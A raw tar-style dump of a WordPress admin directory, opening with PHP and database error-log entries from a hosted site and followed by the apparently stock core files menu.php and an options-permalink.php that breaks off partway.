RankMath\Analytics\Summary->get_analytics_summary, RankMath\Admin\Database\Query_Builder->one, RankMath\Admin\Database\Query_Builder->get_row, RankMath\Admin\Database\Query_Builder->run [20-Jul-2026 09:34:57 UTC] PHP Warning: Attempt to read property "impressions" on null in /home/dxgrqzvp/public_html/wp-content/plugins/seo-by-rank-math/includes/modules/analytics/class-summary.php on line 285 [20-Jul-2026 09:34:57 UTC] PHP Warning: Attempt to read property "impressions" on null in /home/dxgrqzvp/public_html/wp-content/plugins/seo-by-rank-math/includes/modules/analytics/class-summary.php on line 286 [29-Jul-2026 13:21:38 UTC] WordPress database error Duplicate entry 'wc_installing' for key 'wpuz_options.option_name' for query INSERT INTO wpuz_options (option_name, option_value, autoload) VALUES ('wc_installing', 1785331298, 'no') made by require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), do_action('init'), WP_Hook->do_action, WP_Hook->apply_filters, WC_Install::check_version, WC_Install::install, WC_Install::create_lock [31-Jul-2026 06:12:14 UTC] PHP Warning: require_once(/home/dxgrqzvp/public_html/wp-load.php): Failed to open stream: No such file or directory in /home/dxgrqzvp/public_html/wp-admin/admin.php on line 35 [31-Jul-2026 06:12:14 UTC] PHP Fatal error: Uncaught Error: Failed opening required '/home/dxgrqzvp/public_html/wp-load.php' (include_path='.:/opt/cpanel/ea-php83/root/usr/share/pear') in /home/dxgrqzvp/public_html/wp-admin/admin.php:35 Stack trace: #0 /home/dxgrqzvp/public_html/wp-admin/index.php(10): require_once() #1 {main} thrown in /home/dxgrqzvp/public_html/wp-admin/admin.php on line 35 [31-Jul-2026 17:38:05 UTC] PHP Warning: require_once(/home/dxgrqzvp/public_html/wp-load.php): Failed to open stream: No such file or directory in /home/dxgrqzvp/public_html/wp-admin/admin.php on line 35 [31-Jul-2026 17:38:05 UTC] PHP Fatal error: Uncaught Error: Failed opening required '/home/dxgrqzvp/public_html/wp-load.php' (include_path='.:/opt/cpanel/ea-php83/root/usr/share/pear') in /home/dxgrqzvp/public_html/wp-admin/admin.php:35 Stack trace: #0 {main} thrown in /home/dxgrqzvp/public_html/wp-admin/admin.php on line 35 [31-Jul-2026 17:38:31 UTC] PHP Warning: require_once(/home/dxgrqzvp/public_html/wp-load.php): Failed to open stream: No such file or directory in /home/dxgrqzvp/public_html/wp-admin/admin.php on line 35 [31-Jul-2026 17:38:31 UTC] PHP Fatal error: Uncaught Error: Failed opening required '/home/dxgrqzvp/public_html/wp-load.php' (include_path='.:/opt/cpanel/ea-php83/root/usr/share/pear') in /home/dxgrqzvp/public_html/wp-admin/admin.php:35 Stack trace: #0 /home/dxgrqzvp/public_html/wp-admin/index.php(10): require_once() #1 {main} thrown in /home/dxgrqzvp/public_html/wp-admin/admin.php on line 35 menu.php 0000644 00000043335 15233246127 0006236 0 ustar 00 <?php /** * Build Administration Menu. * * @package WordPress * @subpackage Administration */ // Don't load directly. if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * Constructs the admin menu. * * The elements in the array are: * 0: Menu item name. * 1: Minimum level or capability required. * 2: The URL of the item's file. * 3: Page title. * 4: Classes. * 5: ID. * 6: Icon for top level menu. * * @global array $menu */ $menu[2] = array( __( 'Dashboard' ), 'read', 'index.php', '', 'menu-top menu-top-first menu-icon-dashboard', 'menu-dashboard', 'dashicons-dashboard' ); $submenu['index.php'][0] = array( __( 'Home' ), 'read', 'index.php' ); if ( is_multisite() ) { $submenu['index.php'][5] = array( __( 'My Sites' ), 'read', 'my-sites.php' ); } if ( ! is_multisite() || current_user_can( 'update_core' ) ) { $update_data = wp_get_update_data(); } if ( ! is_multisite() ) { if ( current_user_can( 'update_core' ) ) { $capability = 'update_core'; } elseif ( current_user_can( 'update_plugins' ) ) { $capability = 'update_plugins'; } elseif ( current_user_can( 'update_themes' ) ) { $capability = 'update_themes'; } else { $capability = 'update_languages'; } $submenu['index.php'][10] = array( sprintf( /* translators: %s: Number of pending updates. */ __( 'Updates %s' ), sprintf( '<span class="update-plugins count-%s"><span class="update-count">%s</span></span>', $update_data['counts']['total'], number_format_i18n( $update_data['counts']['total'] ) ) ), $capability, 'update-core.php', ); unset( $capability ); } $menu[4] = array( '', 'read', 'separator1', '', 'wp-menu-separator' ); // $menu[5] = Posts. $menu[10] = array( __( 'Media' ), 'upload_files', 'upload.php', '', 'menu-top menu-icon-media', 'menu-media', 'dashicons-admin-media' ); $submenu['upload.php'][5] = array( _x( 'Library', 'media library menu item' ), 'upload_files', 'upload.php' ); $submenu['upload.php'][10] = array( __( 'Add Media File' ), 'upload_files', 'media-new.php' ); $submenu_index = 15; foreach ( get_taxonomies_for_attachments( 'objects' ) as $taxonomy ) { if ( ! $taxonomy->show_ui || ! $taxonomy->show_in_menu ) { continue; } $submenu['upload.php'][ $submenu_index++ ] = array( esc_attr( $taxonomy->labels->menu_name ), $taxonomy->cap->manage_terms, 'edit-tags.php?taxonomy=' . $taxonomy->name . '&post_type=attachment' ); } unset( $taxonomy, $submenu_index ); $menu[15] = array( __( 'Links' ), 'manage_links', 'link-manager.php', '', 'menu-top menu-icon-links', 'menu-links', 'dashicons-admin-links' ); $submenu['link-manager.php'][5] = array( _x( 'All Links', 'admin menu' ), 'manage_links', 'link-manager.php' ); $submenu['link-manager.php'][10] = array( __( 'Add Link' ), 'manage_links', 'link-add.php' ); $submenu['link-manager.php'][15] = array( __( 'Link Categories' ), 'manage_categories', 'edit-tags.php?taxonomy=link_category' ); // $menu[20] = Pages. // Avoid the comment count query for users who cannot edit_posts. if ( current_user_can( 'edit_posts' ) ) { $awaiting_moderation = wp_count_comments(); $awaiting_moderation = $awaiting_moderation->moderated; $awaiting_moderation_i18n = number_format_i18n( $awaiting_moderation ); /* translators: %s: Number of comments. */ $awaiting_moderation_text = sprintf( _n( '%s Comment in moderation', '%s Comments in moderation', $awaiting_moderation ), $awaiting_moderation_i18n ); $menu[25] = array( /* translators: %s: Number of comments. */ sprintf( __( 'Comments %s' ), '<span class="awaiting-mod count-' . absint( $awaiting_moderation ) . '"><span class="pending-count" aria-hidden="true">' . $awaiting_moderation_i18n . '</span><span class="comments-in-moderation-text screen-reader-text">' . $awaiting_moderation_text . '</span></span>' ), 'edit_posts', 'edit-comments.php', '', 'menu-top menu-icon-comments', 'menu-comments', 'dashicons-admin-comments', ); unset( $awaiting_moderation ); } $submenu['edit-comments.php'][0] = array( __( 'All Comments' ), 'edit_posts', 'edit-comments.php' ); $_wp_last_object_menu = 25; // The index of the last top-level menu in the object menu group. $post_types = (array) get_post_types( array( 'show_ui' => true, '_builtin' => false, 'show_in_menu' => true, ) ); $builtin = array( 'post', 'page' ); foreach ( array_merge( $builtin, $post_types ) as $post_type ) { $post_type_obj = get_post_type_object( $post_type ); // Check if it should be a submenu. if ( true !== $post_type_obj->show_in_menu ) { continue; } $post_type_menu_position = is_int( $post_type_obj->menu_position ) ? $post_type_obj->menu_position : ++$_wp_last_object_menu; // If we're to use $_wp_last_object_menu, increment it first. $post_type_for_id = sanitize_html_class( $post_type ); $menu_icon = 'dashicons-admin-post'; if ( is_string( $post_type_obj->menu_icon ) ) { // Special handling for an empty div.wp-menu-image, data:image/svg+xml, and Dashicons. if ( 'none' === $post_type_obj->menu_icon || 'div' === $post_type_obj->menu_icon || str_starts_with( $post_type_obj->menu_icon, 'data:image/svg+xml;base64,' ) || str_starts_with( $post_type_obj->menu_icon, 'dashicons-' ) ) { $menu_icon = $post_type_obj->menu_icon; } else { $menu_icon = esc_url( $post_type_obj->menu_icon ); } } elseif ( in_array( $post_type, $builtin, true ) ) { $menu_icon = 'dashicons-admin-' . $post_type; } $menu_class = 'menu-top menu-icon-' . $post_type_for_id; // 'post' special case. if ( 'post' === $post_type ) { $menu_class .= ' open-if-no-js'; $post_type_file = 'edit.php'; $post_new_file = 'post-new.php'; $edit_tags_file = 'edit-tags.php?taxonomy=%s'; } else { $post_type_file = "edit.php?post_type=$post_type"; $post_new_file = "post-new.php?post_type=$post_type"; $edit_tags_file = "edit-tags.php?taxonomy=%s&post_type=$post_type"; } if ( in_array( $post_type, $builtin, true ) ) { $post_type_menu_id = 'menu-' . $post_type_for_id . 's'; } else { $post_type_menu_id = 'menu-posts-' . $post_type_for_id; } /* * If $post_type_menu_position is already populated or will be populated * by a hard-coded value below, increment the position. */ $core_menu_positions = array( 59, 60, 65, 70, 75, 80, 85, 99 ); while ( isset( $menu[ $post_type_menu_position ] ) || in_array( $post_type_menu_position, $core_menu_positions, true ) ) { ++$post_type_menu_position; } $menu[ $post_type_menu_position ] = array( esc_attr( $post_type_obj->labels->menu_name ), $post_type_obj->cap->edit_posts, $post_type_file, '', $menu_class, $post_type_menu_id, $menu_icon ); $submenu[ $post_type_file ][5] = array( $post_type_obj->labels->all_items, $post_type_obj->cap->edit_posts, $post_type_file ); $submenu[ $post_type_file ][10] = array( $post_type_obj->labels->add_new_item, $post_type_obj->cap->create_posts, $post_new_file ); $submenu_index = 15; foreach ( get_taxonomies( array(), 'objects' ) as $taxonomy ) { if ( ! $taxonomy->show_ui || ! $taxonomy->show_in_menu || ! in_array( $post_type, (array) $taxonomy->object_type, true ) ) { continue; } $submenu[ $post_type_file ][ $submenu_index++ ] = array( esc_attr( $taxonomy->labels->menu_name ), $taxonomy->cap->manage_terms, sprintf( $edit_tags_file, $taxonomy->name ) ); } } unset( $post_type, $post_type_obj, $post_type_for_id, $post_type_menu_position, $menu_icon, $submenu_index, $taxonomy, $post_new_file ); $menu[59] = array( '', 'read', 'separator2', '', 'wp-menu-separator' ); $appearance_capability = current_user_can( 'switch_themes' ) ? 'switch_themes' : 'edit_theme_options'; $menu[60] = array( __( 'Appearance' ), $appearance_capability, 'themes.php', '', 'menu-top menu-icon-appearance', 'menu-appearance', 'dashicons-admin-appearance' ); $count = ''; if ( ! is_multisite() && current_user_can( 'update_themes' ) ) { if ( ! isset( $update_data ) ) { $update_data = wp_get_update_data(); } $count = sprintf( '<span class="update-plugins count-%s"><span class="theme-count">%s</span></span>', $update_data['counts']['themes'], number_format_i18n( $update_data['counts']['themes'] ) ); } /* translators: %s: Number of available theme updates. */ $submenu['themes.php'][5] = array( sprintf( __( 'Themes %s' ), $count ), $appearance_capability, 'themes.php' ); if ( wp_is_block_theme() ) { $submenu['themes.php'][6] = array( _x( 'Editor', 'site editor menu item' ), 'edit_theme_options', 'site-editor.php' ); } else { $supports_stylebook = ( current_theme_supports( 'editor-styles' ) || wp_theme_has_theme_json() ); if ( $supports_stylebook ) { $submenu['themes.php'][6] = array( _x( 'Design', 'design menu item' ), 'edit_theme_options', 'site-editor.php' ); } else { $submenu['themes.php'][6] = array( _x( 'Patterns', 'patterns menu item' ), 'edit_theme_options', 'site-editor.php?p=/pattern' ); } } // Font Library menu item. $submenu['themes.php'][9] = array( __( 'Fonts' ), 'edit_theme_options', 'font-library.php' ); $customize_url = add_query_arg( 'return', urlencode( remove_query_arg( wp_removable_query_args(), wp_unslash( $_SERVER['REQUEST_URI'] ) ) ), 'customize.php' ); // Hide Customize link on block themes unless a plugin or theme // is using 'customize_register' to add a setting. if ( ! wp_is_block_theme() || has_action( 'customize_register' ) ) { $submenu['themes.php'][7] = array( __( 'Customize' ), 'customize', esc_url( $customize_url ), '', 'hide-if-no-customize' ); } if ( current_theme_supports( 'menus' ) || current_theme_supports( 'widgets' ) ) { $submenu['themes.php'][10] = array( __( 'Menus' ), 'edit_theme_options', 'nav-menus.php' ); } if ( current_theme_supports( 'custom-header' ) && current_user_can( 'customize' ) ) { $customize_header_url = add_query_arg( array( 'autofocus' => array( 'control' => 'header_image' ) ), $customize_url ); $submenu['themes.php'][15] = array( _x( 'Header', 'custom image header' ), $appearance_capability, esc_url( $customize_header_url ), '', 'hide-if-no-customize' ); } if ( current_theme_supports( 'custom-background' ) && current_user_can( 'customize' ) ) { $customize_background_url = add_query_arg( array( 'autofocus' => array( 'control' => 'background_image' ) ), $customize_url ); $submenu['themes.php'][20] = array( _x( 'Background', 'custom background' ), $appearance_capability, esc_url( $customize_background_url ), '', 'hide-if-no-customize' ); } unset( $customize_url, $appearance_capability ); // Add 'Theme File Editor' to the bottom of the Appearance (non-block themes) or Tools (block themes) menu. if ( ! is_multisite() ) { // Must use API on the admin_menu hook, direct modification is only possible on/before the _admin_menu hook. add_action( 'admin_menu', '_add_themes_utility_last', 101 ); } /** * Adds the 'Theme File Editor' menu item to the bottom of the Appearance (non-block themes) * or Tools (block themes) menu. * * @access private * @since 3.0.0 * @since 5.9.0 Renamed 'Theme Editor' to 'Theme File Editor'. * Relocates to Tools for block themes. */ function _add_themes_utility_last() { add_submenu_page( wp_is_block_theme() ? 'tools.php' : 'themes.php', __( 'Theme File Editor' ), __( 'Theme File Editor' ), 'edit_themes', 'theme-editor.php' ); } /** * Adds the 'Plugin File Editor' menu item after the 'Themes File Editor' in Tools * for block themes. * * @access private * @since 5.9.0 */ function _add_plugin_file_editor_to_tools() { if ( ! wp_is_block_theme() ) { return; } add_submenu_page( 'tools.php', __( 'Plugin File Editor' ), __( 'Plugin File Editor' ), 'edit_plugins', 'plugin-editor.php' ); } $count = ''; if ( ! is_multisite() && current_user_can( 'update_plugins' ) ) { if ( ! isset( $update_data ) ) { $update_data = wp_get_update_data(); } $count = sprintf( '<span class="update-plugins count-%s"><span class="plugin-count">%s</span></span>', $update_data['counts']['plugins'], number_format_i18n( $update_data['counts']['plugins'] ) ); } /* translators: %s: Number of available plugin updates. */ $menu[65] = array( sprintf( __( 'Plugins %s' ), $count ), 'activate_plugins', 'plugins.php', '', 'menu-top menu-icon-plugins', 'menu-plugins', 'dashicons-admin-plugins' ); $submenu['plugins.php'][5] = array( __( 'Installed Plugins' ), 'activate_plugins', 'plugins.php' ); if ( ! is_multisite() ) { $submenu['plugins.php'][10] = array( __( 'Add Plugin' ), 'install_plugins', 'plugin-install.php' ); if ( wp_is_block_theme() ) { // Place the menu item below the Theme File Editor menu item. add_action( 'admin_menu', '_add_plugin_file_editor_to_tools', 101 ); } else { $submenu['plugins.php'][15] = array( __( 'Plugin File Editor' ), 'edit_plugins', 'plugin-editor.php' ); } } unset( $update_data ); if ( current_user_can( 'list_users' ) ) { $menu[70] = array( __( 'Users' ), 'list_users', 'users.php', '', 'menu-top menu-icon-users', 'menu-users', 'dashicons-admin-users' ); } else { $menu[70] = array( __( 'Profile' ), 'read', 'profile.php', '', 'menu-top menu-icon-users', 'menu-users', 'dashicons-admin-users' ); } if ( current_user_can( 'list_users' ) ) { $_wp_real_parent_file['profile.php'] = 'users.php'; // Back-compat for plugins adding submenus to profile.php. $submenu['users.php'][5] = array( __( 'All Users' ), 'list_users', 'users.php' ); if ( current_user_can( 'create_users' ) ) { $submenu['users.php'][10] = array( __( 'Add User' ), 'create_users', 'user-new.php' ); } elseif ( is_multisite() ) { $submenu['users.php'][10] = array( __( 'Add User' ), 'promote_users', 'user-new.php' ); } $submenu['users.php'][15] = array( __( 'Profile' ), 'read', 'profile.php' ); } else { $_wp_real_parent_file['users.php'] = 'profile.php'; $submenu['profile.php'][5] = array( __( 'Profile' ), 'read', 'profile.php' ); if ( current_user_can( 'create_users' ) ) { $submenu['profile.php'][10] = array( __( 'Add User' ), 'create_users', 'user-new.php' ); } elseif ( is_multisite() ) { $submenu['profile.php'][10] = array( __( 'Add User' ), 'promote_users', 'user-new.php' ); } } $site_health_count = ''; if ( ! is_multisite() && current_user_can( 'view_site_health_checks' ) ) { $get_issues = get_transient( 'health-check-site-status-result' ); $issue_counts = array(); if ( false !== $get_issues ) { $issue_counts = json_decode( $get_issues, true ); } if ( ! is_array( $issue_counts ) || ! $issue_counts ) { $issue_counts = array( 'good' => 0, 'recommended' => 0, 'critical' => 0, ); } $site_health_count = sprintf( '<span class="menu-counter site-health-counter count-%s"><span class="count">%s</span></span>', $issue_counts['critical'], number_format_i18n( $issue_counts['critical'] ) ); } $menu[75] = array( __( 'Tools' ), 'edit_posts', 'tools.php', '', 'menu-top menu-icon-tools', 'menu-tools', 'dashicons-admin-tools' ); $submenu['tools.php'][5] = array( __( 'Available Tools' ), 'edit_posts', 'tools.php' ); $submenu['tools.php'][10] = array( __( 'Import' ), 'import', 'import.php' ); $submenu['tools.php'][15] = array( __( 'Export' ), 'export', 'export.php' ); /* translators: %s: Number of critical Site Health checks. */ $submenu['tools.php'][20] = array( sprintf( __( 'Site Health %s' ), $site_health_count ), 'view_site_health_checks', 'site-health.php' ); $submenu['tools.php'][25] = array( __( 'Export Personal Data' ), 'export_others_personal_data', 'export-personal-data.php' ); $submenu['tools.php'][30] = array( __( 'Erase Personal Data' ), 'erase_others_personal_data', 'erase-personal-data.php' ); if ( is_multisite() && ! is_main_site() && '1' !== get_site()->deleted ) { $submenu['tools.php'][35] = array( __( 'Delete Site' ), 'delete_site', 'ms-delete-site.php' ); } if ( ! is_multisite() && defined( 'WP_ALLOW_MULTISITE' ) && WP_ALLOW_MULTISITE ) { $submenu['tools.php'][50] = array( __( 'Network Setup' ), 'setup_network', 'network.php' ); } $menu[80] = array( __( 'Settings' ), 'manage_options', 'options-general.php', '', 'menu-top menu-icon-settings', 'menu-settings', 'dashicons-admin-settings' ); $submenu['options-general.php'][10] = array( _x( 'General', 'settings screen' ), 'manage_options', 'options-general.php' ); $submenu['options-general.php'][12] = array( __( 'Connectors' ), 'manage_options', 'options-connectors.php' ); $submenu['options-general.php'][15] = array( __( 'Writing' ), 'manage_options', 'options-writing.php' ); $submenu['options-general.php'][20] = array( __( 'Reading' ), 'manage_options', 'options-reading.php' ); $submenu['options-general.php'][25] = array( __( 'Discussion' ), 'manage_options', 'options-discussion.php' ); $submenu['options-general.php'][30] = array( __( 'Media' ), 'manage_options', 'options-media.php' ); $submenu['options-general.php'][40] = array( __( 'Permalinks' ), 'manage_options', 'options-permalink.php' ); $submenu['options-general.php'][45] = array( __( 'Privacy' ), 'manage_privacy_options', 'options-privacy.php' ); $_wp_last_utility_menu = 80; // The index of the last top-level menu in the utility menu group. $menu[99] = array( '', 'read', 'separator-last', '', 'wp-menu-separator' ); // Back-compat for old top-levels. $_wp_real_parent_file['post.php'] = 'edit.php'; $_wp_real_parent_file['post-new.php'] = 'edit.php'; $_wp_real_parent_file['edit-pages.php'] = 'edit.php?post_type=page'; $_wp_real_parent_file['page-new.php'] = 'edit.php?post_type=page'; $_wp_real_parent_file['wpmu-admin.php'] = 'tools.php'; $_wp_real_parent_file['ms-admin.php'] = 'tools.php'; // Ensure backward compatibility. $compat = array( 'index' => 'dashboard', 'edit' => 'posts', 'post' => 'posts', 'upload' => 'media', 'link-manager' => 'links', 'edit-pages' => 'pages', 'page' => 'pages', 'edit-comments' => 'comments', 'options-general' => 'settings', 'themes' => 'appearance', ); require_once ABSPATH . 'wp-admin/includes/menu.php'; options-permalink.php 0000644 00000053620 15233246127 0010743 0 ustar 00 <?php /** * Permalink Settings Administration Screen. * * @package WordPress * @subpackage Administration */ /** WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( ! current_user_can( 'manage_options' ) ) { wp_die( __( 'Sorry, you are not allowed to manage options for this site.' ) ); } // Used in the HTML title tag. $title = __( 'Permalink Settings' ); $parent_file = 'options-general.php'; get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '<p>' . __( 'Permalinks are the permanent URLs to your individual pages and blog posts, as well as your category and tag archives. A permalink is the web address used to link to your content. The URL to each post should be permanent, and never change — hence the name permalink.' ) . '</p>' . '<p>' . __( 'This screen allows you to choose your permalink structure. You can choose from common settings or create custom URL structures.' ) . '</p>' . '<p>' . __( 'You must click the Save Changes button at the bottom of the screen for new settings to take effect.' ) . '</p>', ) ); get_current_screen()->add_help_tab( array( 'id' => 'permalink-settings', 'title' => __( 'Permalink Settings' ), 'content' => '<p>' . __( 'Permalinks can contain useful information, such as the post date, title, or other elements. You can choose from any of the suggested permalink formats, or you can craft your own if you select Custom Structure.' ) . '</p>' . '<p>' . sprintf( /* translators: %s: Percent sign (%). */ __( 'If you pick an option other than Plain, your general URL path with structure tags (terms surrounded by %s) will also appear in the custom structure field and your path can be further modified there.' ), '<code>%</code>' ) . '</p>' . '<p>' . sprintf( /* translators: 1: %category%, 2: %tag% */ __( 'When you assign multiple categories or tags to a post, only one can show up in the permalink: the lowest numbered category. This applies if your custom structure includes %1$s or %2$s.' ), '<code>%category%</code>', '<code>%tag%</code>' ) . '</p>' . '<p>' . __( 'You must click the Save Changes button at the bottom of the screen for new settings to take effect.' ) . '</p>', ) ); get_current_screen()->add_help_tab( array( 'id' => 'custom-structures', 'title' => __( 'Custom Structures' ), 'content' => '<p>' . __( 'The Optional fields let you customize the “category” and “tag” base names that will appear in archive URLs. For example, the page listing all posts in the “Uncategorized” category could be <code>/topics/uncategorized</code> instead of <code>/category/uncategorized</code>.' ) . '</p>' . '<p>' . __( 'You must click the Save Changes button at the bottom of the screen for new settings to take effect.' ) . '</p>', ) ); $help_sidebar_content = '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://wordpress.org/documentation/article/settings-permalinks-screen/">Documentation on Permalinks Settings</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/documentation/article/customize-permalinks/">Documentation on Using Permalinks</a>' ) . '</p>'; if ( $is_nginx ) { $help_sidebar_content .= '<p>' . __( '<a href="https://developer.wordpress.org/advanced-administration/server/web-server/nginx/">Documentation on Nginx configuration</a>.' ) . '</p>'; } $help_sidebar_content .= '<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'; get_current_screen()->set_help_sidebar( $help_sidebar_content ); unset( $help_sidebar_content ); $home_path = get_home_path(); $iis7_permalinks = iis7_supports_permalinks(); $permalink_structure = get_option( 'permalink_structure' ); $index_php_prefix = ''; $blog_prefix = ''; if ( ! got_url_rewrite() ) { $index_php_prefix = '/index.php'; } /* * In a subdirectory configuration of multisite, the `/blog` prefix is used by * default on the main site to avoid collisions with other sites created on that * network. If the `permalink_structure` option has been changed to remove this * base prefix, WordPress core can no longer account for the possible collision. */ if ( is_multisite() && ! is_subdomain_install() && is_main_site() && str_starts_with( $permalink_structure, '/blog/' ) ) { $blog_prefix = '/blog'; } $category_base = get_option( 'category_base' ); $tag_base = get_option( 'tag_base' ); $structure_updated = false; $htaccess_update_required = false; if ( isset( $_POST['permalink_structure'] ) || isset( $_POST['category_base'] ) ) { check_admin_referer( 'update-permalink' ); if ( isset( $_POST['permalink_structure'] ) ) { if ( isset( $_POST['selection'] ) && 'custom' !== $_POST['selection'] ) { $permalink_structure = $_POST['selection']; } else { $permalink_structure = $_POST['permalink_structure']; } if ( ! empty( $permalink_structure ) ) { $permalink_structure = preg_replace( '#/+#', '/', '/' . str_replace( '#', '', $permalink_structure ) ); if ( $index_php_prefix && $blog_prefix ) { $permalink_structure = $index_php_prefix . preg_replace( '#^/?index\.php#', '', $permalink_structure ); } else { $permalink_structure = $blog_prefix . $permalink_structure; } } $permalink_structure = sanitize_option( 'permalink_structure', $permalink_structure ); $wp_rewrite->set_permalink_structure( $permalink_structure ); $structure_updated = true; } if ( isset( $_POST['category_base'] ) ) { $category_base = $_POST['category_base']; if ( ! empty( $category_base ) ) { $category_base = $blog_prefix . preg_replace( '#/+#', '/', '/' . str_replace( '#', '', $category_base ) ); } $wp_rewrite->set_category_base( $category_base ); } if ( isset( $_POST['tag_base'] ) ) { $tag_base = $_POST['tag_base']; if ( ! empty( $tag_base ) ) { $tag_base = $blog_prefix . preg_replace( '#/+#', '/', '/' . str_replace( '#', '', $tag_base ) ); } $wp_rewrite->set_tag_base( $tag_base ); } } if ( $iis7_permalinks ) { if ( ( ! file_exists( $home_path . 'web.config' ) && win_is_writable( $home_path ) ) || win_is_writable( $home_path . 'web.config' ) ) { $writable = true; } else { $writable = false; } } elseif ( $is_nginx || $is_caddy ) { $writable = false; } else { if ( ( ! file_exists( $home_path . '.htaccess' ) && is_writable( $home_path ) ) || is_writable( $home_path . '.htaccess' ) ) { $writable = true; } else { $writable = false; $existing_rules = array_filter( extract_from_markers( $home_path . '.htaccess', 'WordPress' ) ); $new_rules = array_filter( explode( "\n", $wp_rewrite->mod_rewrite_rules() ) ); $htaccess_update_required = ( $new_rules !== $existing_rules ); } } $using_index_permalinks = $wp_rewrite->using_index_permalinks(); if ( $structure_updated ) { $message = __( 'Permalink structure updated.' ); if ( ! is_multisite() && $permalink_structure && ! $using_index_permalinks ) { if ( $iis7_permalinks ) { if ( ! $writable ) { $message = sprintf( /* translators: %s: web.config */ __( 'You should update your %s file now.' ), '<code>web.config</code>' ); } else { $message = sprintf( /* translators: %s: web.config */ __( 'Permalink structure updated. Remove write access on %s file now!' ), '<code>web.config</code>' ); } } elseif ( ! $is_nginx && ! $is_caddy && $htaccess_update_required && ! $writable ) { $message = sprintf( /* translators: %s: .htaccess */ __( 'You should update your %s file now.' ), '<code>.htaccess</code>' ); } } if ( ! get_settings_errors() ) { add_settings_error( 'general', 'settings_updated', $message, 'success' ); } set_transient( 'settings_errors', get_settings_errors(), 30 ); // 30 seconds. wp_redirect( admin_url( 'options-permalink.php?settings-updated=true' ) ); exit; } flush_rewrite_rules(); require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1><?php echo esc_html( $title ); ?></h1> <form name="form" action="options-permalink.php" method="post"> <?php wp_nonce_field( 'update-permalink' ); ?> <p> <?php printf( /* translators: %s: Documentation URL. */ __( 'WordPress offers you the ability to create a custom URL structure for your permalinks and archives. Custom URL structures can improve the aesthetics, usability, and forward-compatibility of your links. A <a href="%s">number of tags are available</a>, and here are some examples to get you started.' ), __( 'https://wordpress.org/documentation/article/customize-permalinks/' ) ); ?> </p> <?php if ( is_multisite() && ! is_subdomain_install() && is_main_site() && str_starts_with( $permalink_structure, '/blog/' ) ) { $permalink_structure = preg_replace( '|^/?blog|', '', $permalink_structure ); $category_base = preg_replace( '|^/?blog|', '', $category_base ); $tag_base = preg_replace( '|^/?blog|', '', $tag_base ); } $url_base = home_url( $blog_prefix . $index_php_prefix ); $default_structures = array( array( 'id' => 'plain', 'label' => __( 'Plain' ), 'value' => '', 'example' => home_url( '/?p=123' ), ), array( 'id' => 'day-name', 'label' => __( 'Day and name' ), 'value' => $index_php_prefix . '/%year%/%monthnum%/%day%/%postname%/', 'example' => $url_base . '/' . gmdate( 'Y/m/d' ) . '/' . _x( 'sample-post', 'sample permalink structure' ) . '/', ), array( 'id' => 'month-name', 'label' => __( 'Month and name' ), 'value' => $index_php_prefix . '/%year%/%monthnum%/%postname%/', 'example' => $url_base . '/' . gmdate( 'Y/m' ) . '/' . _x( 'sample-post', 'sample permalink structure' ) . '/', ), array( 'id' => 'numeric', 'label' => __( 'Numeric' ), 'value' => $index_php_prefix . '/' . _x( 'archives', 'sample permalink base' ) . '/%post_id%', 'example' => $url_base . '/' . _x( 'archives', 'sample permalink base' ) . '/123', ), array( 'id' => 'post-name', 'label' => __( 'Post name' ), 'value' => $index_php_prefix . '/%postname%/', 'example' => $url_base . '/' . _x( 'sample-post', 'sample permalink structure' ) . '/', ), ); $default_structure_values = wp_list_pluck( $default_structures, 'value' ); $available_tags = array( /* translators: %s: Permalink structure tag. */ 'year' => __( '%s (The year of the post, four digits, for example 2004.)' ), /* translators: %s: Permalink structure tag. */ 'monthnum' => __( '%s (Month of the year, for example 05.)' ), /* translators: %s: Permalink structure tag. */ 'day' => __( '%s (Day of the month, for example 28.)' ), /* translators: %s: Permalink structure tag. */ 'hour' => __( '%s (Hour of the day, for example 15.)' ), /* translators: %s: Permalink structure tag. */ 'minute' => __( '%s (Minute of the hour, for example 43.)' ), /* translators: %s: Permalink structure tag. */ 'second' => __( '%s (Second of the minute, for example 33.)' ), /* translators: %s: Permalink structure tag. */ 'post_id' => __( '%s (The unique ID of the post, for example 423.)' ), /* translators: %s: Permalink structure tag. */ 'postname' => __( '%s (The sanitized post title (slug).)' ), /* translators: %s: Permalink structure tag. */ 'category' => __( '%s (Category slug. Nested sub-categories appear as nested directories in the URL.)' ), /* translators: %s: Permalink structure tag. */ 'author' => __( '%s (A sanitized version of the author name.)' ), ); /** * Filters the list of available permalink structure tags on the Permalinks settings page. * * @since 4.9.0 * * @param string[] $available_tags An array of key => value pairs of available permalink structure tags. */ $available_tags = apply_filters( 'available_permalink_structure_tags', $available_tags ); /* translators: %s: Permalink structure tag. */ $tag_added = __( '%s added to permalink structure' ); /* translators: %s: Permalink structure tag. */ $tag_removed = __( '%s removed from permalink structure' ); /* translators: %s: Permalink structure tag. */ $tag_already_used = __( '%s (already used in permalink structure)' ); ?> <h2 class="title"><?php _e( 'Common Settings' ); ?></h2> <p> <?php printf( /* translators: %s: %postname% */ __( 'Select the permalink structure for your website. Including the %s tag makes links easy to understand, and can help your posts rank higher in search engines.' ), '<code>%postname%</code>' ); ?> </p> <table class="form-table permalink-structure" role="presentation"> <tbody> <?php $permalink_structure_title = __( 'Permalink structure' ); ?> <tr> <th scope="row"><?php echo $permalink_structure_title; ?></th> <td> <fieldset class="structure-selection"> <legend class="screen-reader-text"><?php echo $permalink_structure_title; ?></legend> <?php foreach ( $default_structures as $input ) : ?> <div class="row"> <input id="permalink-input-<?php echo esc_attr( $input['id'] ); ?>" name="selection" aria-describedby="permalink-<?php echo esc_attr( $input['id'] ); ?>" type="radio" value="<?php echo esc_attr( $input['value'] ); ?>" <?php checked( $input['value'], $permalink_structure ); ?> /> <div> <label for="permalink-input-<?php echo esc_attr( $input['id'] ); ?>"> <?php echo esc_html( $input['label'] ); ?> </label> <p> <code id="permalink-<?php echo esc_attr( $input['id'] ); ?>"> <?php echo esc_html( $input['example'] ); ?> </code> </p> </div> </div><!-- .row --> <?php endforeach; ?> <div class="row"> <input id="custom_selection" name="selection" type="radio" value="custom" <?php checked( ! in_array( 